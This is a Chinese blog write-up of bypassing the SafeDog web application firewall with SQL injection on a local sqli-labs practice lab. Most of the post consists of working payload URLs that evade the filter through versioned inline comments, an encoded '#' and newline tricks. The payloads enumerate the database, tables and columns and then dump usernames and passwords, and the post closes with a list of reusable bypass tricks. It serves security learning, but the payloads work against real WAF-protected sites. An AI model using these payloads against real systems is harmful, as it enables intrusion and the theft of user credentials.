记一次SQL注入绕过安全狗

环境搭建

phpstudy搭建Apache+php 下sqli-lib靶场。

网站安全狗Apache版本4.0

绕过思路

正常注入思路: 

  1. 判断闭合字符
  2. 判断注入类型
  3. 查询列数
  4. 判断回显位
  5. 查询数据库的基本信息
  6. 爆数据库名
  7. 爆数据库表名
  8. 爆字段名
  9. 爆值

而常见的sql绕waf的方法有:

  1. 大小写,
  2. 加密解密
  3. 编码解码
  4. 等价函数
  5. 特殊符号
  6. 注释符混用

操作步骤

1.以sqli第一关为例:首先判断闭合字符

2.使用order by 判断列数 ,正常的语句被拦截,无法回显

 3.使用内联注释尝试绕过waf,/*! */会干扰waf进行检测数据

安全狗更新之后,所有的payload都已经失效,但是经过多次尝试后,发现“#”字符有着特殊之处

我们的语句发送过去,首先接收安全狗检测,安全狗检测到'#'号,所以'\#'后面的都会被截断抛弃,所以安全狗只能匹配到'\#'前的order,但是没匹配到'\#'后的by,最终导致语句不完整导致最后的报错。 #的编码为%23

构造如下语句后,发现数据库没有读取到by 3,只读到了order的值

 尝试以下语句 ,页面正常,说明在构造语句前加“%23”可以绕过检测,并且判断出列数为三

或者使用另一种语句  group by 判断列数

http://192.168.249.131/sqli/Less-1/?id=1' "%23"/*!12444order */ %0a /*!12444by 3*/
-- +

 4.接着判断显示位,通过前边尝试构造的语句,可以轻松构造payload,成功获得显示位2,3

 注意 改为-1,或构造为假的条件(and 1=2)

5.爆出数据库信息和版本

 语句中带有database(),被拦截,但是database没有进行拦截,说明database和()之间不能连用

构造语句为
http://192.168.249.131/sqli/Less-1/?id=-1'"%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),version(/*!12444*/)
-- +

 6.爆出数据库名后,尝试爆表名

http://192.168.249.131/sqli/Less-1/?id=-1'  "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(table_name) from information_schema.tables where table_schema="security"

 7.接着尝试爆出users表下的字段值 ,构造语句后,发现被拦截,经过测试发现 and被过滤

尝试 /*!12444and*/

http://192.168.249.131/sqli/Less-1/?id=-1'  "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(column_name) from information_schema.columns where table_schema="security" /*!12444and*/
 table_name="users"

 8.接着就是爆出字段中的值了

http://192.168.249.131/sqli/Less-1/?id=-1'  "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(username,password) from users

总结

1、内联注释 可以绕过大多数情况

2、在一些被拦截的地方多用/\*%23\*/和/\*!10440%0a\*/,有奇效。

%23为#编码,%0A为换行 

一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同 MySQL 版本下的执行情况

 绕过原因:安全狗误以为/**/是注释的内容所以全部忽略。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值